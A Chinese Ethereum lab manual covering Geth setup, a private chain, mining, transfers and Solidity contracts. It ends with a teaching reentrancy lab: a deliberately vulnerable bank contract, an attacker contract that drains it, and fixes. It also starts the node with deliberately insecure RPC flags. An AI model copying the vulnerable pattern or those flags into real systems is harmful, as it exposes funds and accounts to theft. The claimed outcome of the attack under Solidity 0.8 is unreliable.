新版区块链技术及应用 · Ethereum 实验指导手册
交接文档仅提供零散命令,未规定实验章节与密码。本手册按以下合理假设编写,请师生按需调整:
- 实验拆为 6 个递进章节;账户密码统一以占位符
YourPassword123表示,请自行设定并牢记。 - 创世文件已补全 geth 1.10.x 所需全部字段;网络 ID 取
1108。 - 合约示例基于 Solidity
0.8.x,在 Remix 中选择对应编译器版本。 - 学生环境以 Ubuntu 22.04(含 WSL2)为准,文末附 Windows/macOS 差异提示。
实验总览与前置说明
以太坊(Ethereum)是一个支持智能合约的公有链平台。本手册通过 6 个递进实验,带你在本地私有链上完整走通「装环境 → 建链 → 管账户/挖矿/转账 → 写合约 → 部署 → 交互 → 安全攻防」全流程,所有操作均可离线完成,不消耗真实以太币。
1. 软件与版本清单
| 组件 | 版本/说明 | 用途 |
|---|---|---|
| 操作系统 | Ubuntu 22.04(推荐 WSL2) | 运行节点 |
| Go | go1.18.1,路径 /usr/local/go | 编译 Geth |
| Geth | v1.10.25-stable(源码 ~/go-ethereum) | 以太坊客户端 |
| Remix IDE | https://remix.ethereum.org | 合约编写/编译/部署 |
| 浏览器 | Chrome / Edge | 访问 Remix、查看区块浏览器(可选) |
2. 目录与约定
~/go-ethereum:Geth 源码;编译产物~/go-ethereum/build/bin/geth。~/ethereum_lab:实验根目录,存放genesis.json与各节点数据目录(data0、data1)。- 命令提示符
$表示在 Ubuntu 终端执行;>表示在 Geth JavaScript 控制台(geth console / attach)执行。
3. 实验流程总览
公有链(如主网以太坊)由全球节点共同维护、需要真币激励。私有链是仅由你控制的本地区块链:它通过一份自定义的「创世文件(genesis)」从零生成,出块难度极低,可瞬间挖矿获得测试币。私有链是学习、调试合约的最佳沙盒——所有操作零成本、可随意重置。
实验一 以太坊开发环境搭建
1.1 安装 Go 语言
Geth(Go-Ethereum)是用 Go 语言编写的官方客户端之一。编译它需要 Go 工具链。Go 1.18 引入了泛型,与 Geth v1.10.25 兼容;版本过高(如 1.21+)有时会因依赖变更导致编译失败,交接环境固定为 go1.18.1。
# 进入临时目录
cd /tmp
# 下载 Go 1.18.1(国内可从 https://golang.google.cn/dl/ 获取)
wget https://go.dev/dl/go1.18.1.linux-amd64.tar.gz
# 解压到 /usr/local(会覆盖已有 go 目录)
sudo rm -rf /usr/local/go
sudo tar -C /usr/local -xzf go1.18.1.linux-amd64.tar.gz
# 写入 ~/.bashrc(若使用 zsh 则写 ~/.zshrc)
cat >> ~/.bashrc <<'EOF'
export PATH=$PATH:/usr/local/go/bin:$HOME/go/bin
export GOPATH=$HOME/go
export GO111MODULE=on
EOF
# 立即生效
source ~/.bashrc
go version
# 预期输出:go version go1.18.1 linux/amd64
终端打印 go version go1.18.1 linux/amd64。若提示 command not found: go,说明 PATH 未生效,请重新 source ~/.bashrc 或检查解压路径。
1.2 编译 Geth 源码
Go 依赖通过模块代理下载。proxy.golang.org 在国内常因网络被阻断而报连接失败。需将代理切到国内镜像 goproxy.cn,否则 make geth 会卡在拉取依赖。
go env -w GOPROXY=https://goproxy.cn,direct
go env -w GOSUMDB=off
go env GOPROXY # 确认输出 https://goproxy.cn,direct
# 若已有源码则跳过 clone
git clone https://github.com/ethereum/go-ethereum.git ~/go-ethereum
cd ~/go-ethereum
git checkout v1.10.25
# 编译 geth(结果在 build/bin/geth)
make geth
cat >> ~/.bashrc <<'EOF'
export PATH=$PATH:$HOME/go-ethereum/build/bin
EOF
source ~/.bashrc
which geth # 应输出 $HOME/go-ethereum/build/bin/geth
make geth 末尾出现 Done building.,且 geth version 可正常输出版本信息(含 Version: 1.10.25-stable)。
1.3 验证工具链
go version
geth version
# 两者均应正常输出版本,无报错
| 报错现象 | 原因 | 解决办法 |
|---|---|---|
proxy.golang.org: connection refused / i/o timeout | 默认代理在国内不可达 | go env -w GOPROXY=https://goproxy.cn,direct |
geth: command not found | PATH 未包含 geth 路径或未 source | 确认 ~/go-ethereum/build/bin 已加入 PATH 并 source ~/.bashrc |
make: *** [geth] Error 1 编译失败 | Go 版本不匹配或依赖损坏 | 核对 go version 为 1.18.1;make clean 后重试;确认 GOPROXY 生效 |
| git clone 速度极慢/失败 | GitHub 访问受限 | 改用镜像 https://github.com.cnpmjs.org/ethereum/go-ethereum.git 或提前拷贝源码 |
实验二 搭建以太坊私有链
私有链由一份创世文件(genesis.json)定义初始状态。所有节点必须用相同的创世文件 + 相同的 networkid 才能组成同一条链。
2.1 编写创世文件
config.chainId:链 ID,钱包/节点用它区分不同链(主网为 1)。私有链常取任意值,如1108。difficulty:出块难度。设为0x1使 CPU 几乎瞬间出块,便于实验。gasLimit:单区块 Gas 上限,决定能容纳多少交易。私有链可设较大值0x8000000。alloc:创世时预置余额的账户;留空则初始无人有币,需靠挖矿产出。config中的各*Block:启用对应以太坊分叉的区块高度,私有链通常全设为0(创世即启用)。
mkdir -p ~/ethereum_lab && cd ~/ethereum_lab
nano genesis.json
将以下内容写入 genesis.json:
{
"config": {
"chainId": 1108,
"homesteadBlock": 0,
"eip150Block": 0,
"eip155Block": 0,
"eip158Block": 0,
"byzantiumBlock": 0,
"constantinopleBlock": 0,
"petersburgBlock": 0,
"istanbulBlock": 0,
"berlinBlock": 0,
"londonBlock": 0
},
"nonce": "0x0",
"timestamp": "0x0",
"extraData": "0x00",
"gasLimit": "0x8000000",
"difficulty": "0x1",
"mixhash": "0x0000000000000000000000000000000000000000000000000000000000000000",
"coinbase": "0x000000000000000000000000000000000000000000",
"alloc": {}
}
2.2 初始化与启动节点
# data0 为节点0的数据目录
geth --datadir data0 init genesis.json
输出 Successfully wrote genesis state ...,并在 data0 下生成 geth/ 与 keystore/ 子目录。
geth --datadir data0 --networkid 1108 --http \
--http.corsdomain "*" --http.vhosts "*" \
--http.api eth,net,web3,personal,admin,miner \
--allow-insecure-unlock \
console 2>>geth.log
--http:开启 HTTP-RPC(默认端口 8545),Remix、脚本可通过它交互。--http.api:开放哪些 RPC 模块。personal(账户)、miner(挖矿)、admin必须显式开启,否则 Remix/脚本无权操作。--http.corsdomain "*":允许跨域,Remix 网页才能调用本地节点。--allow-insecure-unlock:允许通过 HTTP 解锁账户(实验方便,生产禁用)。console:同时进入 JS 交互控制台;2>>geth.log把日志重定向,便于排障。
终端进入 > 交互提示符,并出现 Welcome to the Geth JavaScript console! 与 HTTP server started 日志。节点开始尝试出块(因难度为 1,但尚无矿工,区块高度为 0)。
2.3 另开终端连接控制台(attach)
节点运行时会在数据目录生成 geth.ipc(进程间通信套接字)。geth attach 通过 IPC 接入同一个节点进程——你在 attach 终端输入的命令,与 console 终端作用在同一节点上。这种方式无需密码、权限最高,适合本地操作。
cd ~/ethereum_lab
geth attach ipc:data0/geth.ipc
新终端也进入 > 提示符。输入 eth.blockNumber 返回 0,net.version 返回 "1108"。
| 报错现象 | 原因 | 解决办法 |
|---|---|---|
Fatal: Failed to write genesis block: genesis mismatch ... | 已有数据目录,但创世文件被改动 | 删除旧数据:rm -rf data0,再重新 init |
Unable to attach to geth ipc:... no such file or directory | 节点未启动,或 ipc 路径错 | 先启动节点;确认路径为 data0/geth.ipc(geth 子目录下) |
bind: address already in use(端口 8545 被占用) | 已有 geth 或别的程序占用 | lsof -i:8545 查进程并结束;或加 --http.port 8546 换端口 |
| Remix 连接后无账户 / 调用报 403 | 缺少 CORS 或 API 未开放 | 启动务必带 --http.corsdomain "*" --http.vhosts "*" --http.api eth,net,web3,personal,admin,miner |
实验三 账户管理、挖矿与转账
3.1 创建账户
以太坊账户分两类:外部账户(EOA)由私钥控制、可发起交易;合约账户由代码控制。这里创建的是 EOA。账户地址由公钥哈希得到,密钥文件(keystore)加密保存在 data0/keystore/。必须记住密码——密码仅用于本地解密 keystore,丢失无法找回。
// 在 geth 控制台(> 提示符)执行
personal.newAccount("YourPassword123") // 账户0
personal.newAccount("YourPassword123") // 账户1
eth.accounts // 列出全部账户地址
personal.newAccount 返回新地址(如 "0xabc...def");eth.accounts 返回长度为 2 的地址数组。
3.2 设置矿工并挖矿
矿工(miner)把待确认交易打包成新区块。miner.setEtherbase(addr) 指定「挖矿奖励(区块奖励)」打入哪个账户,该账户即称为 coinbase。私有链难度为 1,miner.start(1) 用一个线程即可持续出块,账户余额随之增长。
miner.setEtherbase(eth.accounts[0])
miner.start(1) // 启动 1 个挖矿线程
// 等待数秒后查看
eth.blockNumber // 应大于 0,且持续增长
eth.getBalance(eth.accounts[0])
miner.stop()
eth.blockNumber 持续增大(如达到几十/上百);eth.getBalance(eth.accounts[0]) 返回一个很大的数字(单位 wei,1 ETH = 10¹⁸ wei)。用 web3.fromWei(bal,"ether") 可换算为 ETH。
3.3 转账交易
- 交易(Transaction):由 EOA 签名、改变状态的操作。转账就是一笔 value 交易。
- nonce:账户发出的交易序号,从 0 递增,防止重放。每笔交易 nonce 必须唯一且连续。
- Gas:执行交易消耗的计算资源计量;
gasPrice × gas为手续费,从发送方扣除。未解锁账户无法签名交易。
personal.unlockAccount(eth.accounts[0], "YourPassword123", 30000)
// 返回 true 表示解锁成功,有效期 30000 秒
var tx = eth.sendTransaction({
from: eth.accounts[0],
to: eth.accounts[1],
value: web3.toWei(10, "ether")
});
console.log(tx); // 打印交易哈希
miner.start(1); // 挖矿把交易打包进区块
admin.sleep(3); // 等待约 3 秒
miner.stop();
eth.getBalance(eth.accounts[1]) // 应约等于 10 ETH
eth.sendTransaction 返回 32 字节交易哈希;打包后 eth.accounts[1] 余额增加约 10 ETH(因挖矿奖励也打入 coinbase=accounts[0],accounts[1] 仅收到转账)。
| 报错现象 | 原因 | 解决办法 |
|---|---|---|
could not decrypt key with given password | 密码错误 | 确认使用创建账户时的密码;密码区分大小写 |
account is locked | 账户未解锁或已过期 | 重新 personal.unlockAccount(acc, pw, 30000) |
insufficient funds for gas * price + value | 发送方余额不足 | 先挖矿给 accounts[0] 充值;确认转账额 ≤ 余额 |
| 交易发出后余额不变 | 交易未被打包(未挖矿) | 转账后执行 miner.start(1) 出块确认 |
nonce too low | nonce 重复/错乱 | 用 eth.getTransactionCount(acc) 查正确 nonce 并显式指定 |
实验四 智能合约开发与部署
4.1 Solidity 与示例合约
智能合约是部署在链上的程序,由 Solidity 编写、编译为 EVM 字节码。合约有状态变量(持久化在链上)、函数(读/写状态)、事件(供链下监听的日志)。部署合约本质是一笔「to 为空、data 为字节码」的特殊交易,由 EVM 执行后生成合约账户。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract SimpleBank {
mapping(address => uint) public balances;
address public owner;
event Deposit(address indexed who, uint amount);
event Withdraw(address indexed who, uint amount);
constructor() {
owner = msg.sender;
}
// 存款:向合约转入以太币
function deposit() public payable {
require(msg.value > 0, "deposit must be positive");
balances[msg.sender] += msg.value;
emit Deposit(msg.sender, msg.value);
}
// 取款:Checks-Effects-Interactions 顺序,先改状态再转账
function withdraw(uint amount) public {
require(balances[msg.sender] >= amount, "insufficient balance");
balances[msg.sender] -= amount; // 先改状态
(bool ok, ) = msg.sender.call{value: amount}(""); // 再交互
require(ok, "transfer failed");
emit Withdraw(msg.sender, amount);
}
function getBalance() public view returns (uint) {
return balances[msg.sender];
}
}
4.2 Remix 连接私有链
- 打开 https://remix.ethereum.org,进入 Deploy & Run Transactions 标签页。
- environment 下拉选择 External Http Provider。
- 弹出框填入
http://127.0.0.1:8545(确保 geth 已按实验二参数启动)。 - 连接成功后,Account 列表会出现 geth 中的账户(即 eth.accounts)。
Environment 显示已连接,Account 下拉出现 0x... 地址;点击账户可见其余额(与控制台 eth.getBalance 一致)。
4.3 编译与部署
- 在 File Explorer 新建
SimpleBank.sol,粘贴上述代码。 - 进入 Solidity Compiler,Compiler 版本选
0.8.x,点击 Compile SimpleBank.sol。 - 出现绿色对勾表示编译通过。
// 在 geth 控制台先解锁并挖矿,确保部署账户有 gas
personal.unlockAccount(eth.accounts[0], "YourPassword123", 30000)
miner.start(1); admin.sleep(2); miner.stop()
- 回到 Remix 的 Deploy & Run,选中 SimpleBank,点击 Deploy。
- 在 geth 控制台
miner.start(1); admin.sleep(3); miner.stop()把部署交易打包。
Remix 底部 Deployed Contracts 出现 SimpleBank 实例,展开可见 deposit、withdraw、getBalance 等函数;控制台 eth.blockNumber 已增长。
| 报错现象 | 原因 | 解决办法 |
|---|---|---|
| Remix 连接后 Account 为空 | geth 未开放 personal/admin,或节点未启动 | 确认启动带 --http.api eth,net,web3,personal,admin,miner 且节点在运行 |
Provider failed / callback error | CORS 拦截 | 启动加 --http.corsdomain "*";浏览器用 http://127.0.0.1 而非 localhost |
| Deploy 后一直 pending | 交易未打包 | 部署后务必 miner.start(1) 挖矿确认 |
out of gas | Gas 上限过低 | Remix 中调高 Gas limit(如 3000000) |
编译器报 pragma 版本不匹配 | Solidity 版本不选 | Compiler 选 0.8.x,与 pragma solidity ^0.8.0; 一致 |
实验五 合约交互、查询与事件
5.1 调用与查询合约
只读函数(view/pure)用 call 执行,不消耗 Gas、不改变状态,可免费本地模拟;写函数用 send 发起交易,需 Gas、需挖矿确认、会改变链上状态。
// 在 Remix 已部署的 SimpleBank 实例中:
// 1) deposit:VALUE 填 1 ether,点击 deposit
// 2) 挖矿确认
miner.start(1); admin.sleep(2); miner.stop();
// 3) 调用 getBalance()(只读,立即返回)
// 也可在 geth 控制台用 ABI 调用:
var abi = [/* 从 Remix Compilation Details - ABI 复制 */];
var addr = "0x部署得到的合约地址";
var bank = eth.contract(abi).at(addr);
bank.getBalance(); // 返回存款额(wei)
getBalance() 返回约 1000000000000000000(1 ETH 的 wei 数)。
5.2 监听事件与日志
事件会被写入区块的日志(logs),是合约向外「广播」发生的动作。链下程序(如 DApp、监控脚本)可订阅事件,无需轮询状态。事件参数加 indexed 后可被高效过滤(类似数据库索引)。
// 取合约地址后,在 geth 控制台:
var abi = [/* SimpleBank ABI */];
var bank = eth.contract(abi).at("0x合约地址");
var evt = bank.Deposit({}, {fromBlock:0, toBlock:"latest"});
evt.get(function(err, logs){
if(!err) console.log(logs); // 打印所有 Deposit 事件
});
返回包含 args.who、args.amount 的事件对象数组,证明存款动作已被链上记录。
| 报错现象 | 原因 | 解决办法 |
|---|---|---|
bank.getBalance is not a function | ABI 未含该函数 / 实例化失败 | 从 Remix 复制完整 ABI;确认 at(addr) 地址正确 |
| 读函数返回 0 / 旧值 | 写交易尚未打包 | 写操作后先挖矿再查询 |
| 事件监听无输出 | fromBlock 设置过晚 / 未部署即查 | 设 fromBlock:0;确认合约已部署且发生过该事件 |
实验六 安全实验:重入漏洞复现与防护
6.1 漏洞原理
当合约在修改自身状态之前就向外部地址转账(如 msg.sender.call{value:...}),而收款方是攻击合约的回退函数(fallback)时,控制流会重新进入原合约的取款逻辑——在余额还没被扣减前再次取款,形成循环盗取。
经典顺序错误:转账 → 再扣余额;安全顺序应为 先扣余额 → 再转账(Checks-Effects-Interactions),或加重入锁。
6.2 复现攻击
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// ⚠️ 故意保留漏洞,仅用于教学复现
contract VulnerableBank {
mapping(address => uint) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
// 漏洞:先转账(触发外部调用),后改状态
function withdraw(uint amount) public {
require(balances[msg.sender] >= amount);
(bool ok, ) = msg.sender.call{value: amount}(""); // 外部调用
require(ok);
balances[msg.sender] -= amount; // 状态更新滞后
}
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./VulnerableBank.sol";
contract Attacker {
VulnerableBank public bank;
constructor(address _bank) {
bank = VulnerableBank(_bank);
}
// 先存款 1 ether,再一次性取出(触发重入)
function attack() external payable {
bank.deposit{value: 1 ether}();
bank.withdraw(1 ether);
}
// 回退函数:只要银行还有钱,就继续 withdraw,形成重入
receive() external payable {
if (address(bank).balance >= 1 ether) {
bank.withdraw(1 ether);
}
}
}
- 向 VulnerableBank 存入较多测试币(如 10 ETH,用普通账户 deposit)。
- 部署 Attacker,调用
attack{value:1 ether}。 - 挖矿确认后,查看
bank.getBalance()与attacker 账户余额。
银行的余额被「抽干」到接近于 0,攻击者账户凭 1 ETH 本金反复重入,卷走了银行里几乎所有资金——直观演示了重入的危害。
6.3 防护方案
function withdraw(uint amount) public {
require(balances[msg.sender] >= amount);
balances[msg.sender] -= amount; // 先改状态
(bool ok, ) = msg.sender.call{value: amount}(""); // 再交互
require(ok);
}
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract SafeBank is ReentrancyGuard {
mapping(address => uint) public balances;
function withdraw(uint amount) public nonReentrant {
require(balances[msg.sender] >= amount);
balances[msg.sender] -= amount;
(bool ok, ) = msg.sender.call{value: amount}("");
require(ok);
}
}
对比「漏洞版」「方案A」「方案B」三种合约在攻击下的表现:只有先改状态或加锁的版本能抵御重入。请记录攻击前后银行余额,并写入实验报告。
| 报错现象 | 原因 | 解决办法 |
|---|---|---|
import 找不到文件 | 多文件未同处一个目录 | 在 Remix 同工作区放 VulnerableBank.sol 与 Attacker.sol;OpenZeppelin 需通过 Remix 插件或 paste |
| 攻击未成功(银行余额未变) | geth 单线程执行,fallback 重入被当前交易锁定? | 确认 withdraw 中转账在扣减之前;Attacker.receive 中条件正确 |
out of gas 在攻击交易 | 重入循环消耗大量 gas | Remix 调高 Gas limit(如 8000000),私有链 gasLimit 已设较大 |
附录 常见报错速查表
| 阶段 | 现象 | 一句话解决 |
|---|---|---|
| 编译 | proxy.golang.org 连接失败 | go env -w GOPROXY=https://goproxy.cn,direct |
| 启动 | genesis mismatch | rm -rf data0 后重新 init |
| 启动 | 端口 8545 被占用 | 结束占用进程或 --http.port 8546 |
| 连接 | attach 找不到 ipc | 先启动节点;路径用 data0/geth.ipc |
| 账户 | account is locked | personal.unlockAccount 重新解锁 |
| 转账 | insufficient funds | 先挖矿给发送方充值 |
| 部署 | Remix 无账户/CORS | 启动带 corsdomain/vhosts/api 参数 |
| 部署 | 交易一直 pending | 部署/转账后 miner.start(1) 挖矿确认 |
- Windows 用户可在 WSL2 Ubuntu 22.04 中按本手册操作;直接在 cmd/PowerShell 跑 geth 亦可,但路径写
C:\...、分隔符用\。 - macOS 用 Homebrew 装 go(
brew install go@1.18),其余命令一致。 - Remix 网页端跨域访问本机节点时,浏览器地址务必用
http://127.0.0.1:8545而非localhost。
完成六个实验后,你应理解:私有链如何由创世文件诞生;账户、nonce、Gas 如何支撑一笔转账;智能合约如何编译部署到 EVM;以及「先改状态再交互」这一关键安全原则。建议把每个实验的预期结果截图 + 报错排障记录整理进实验报告。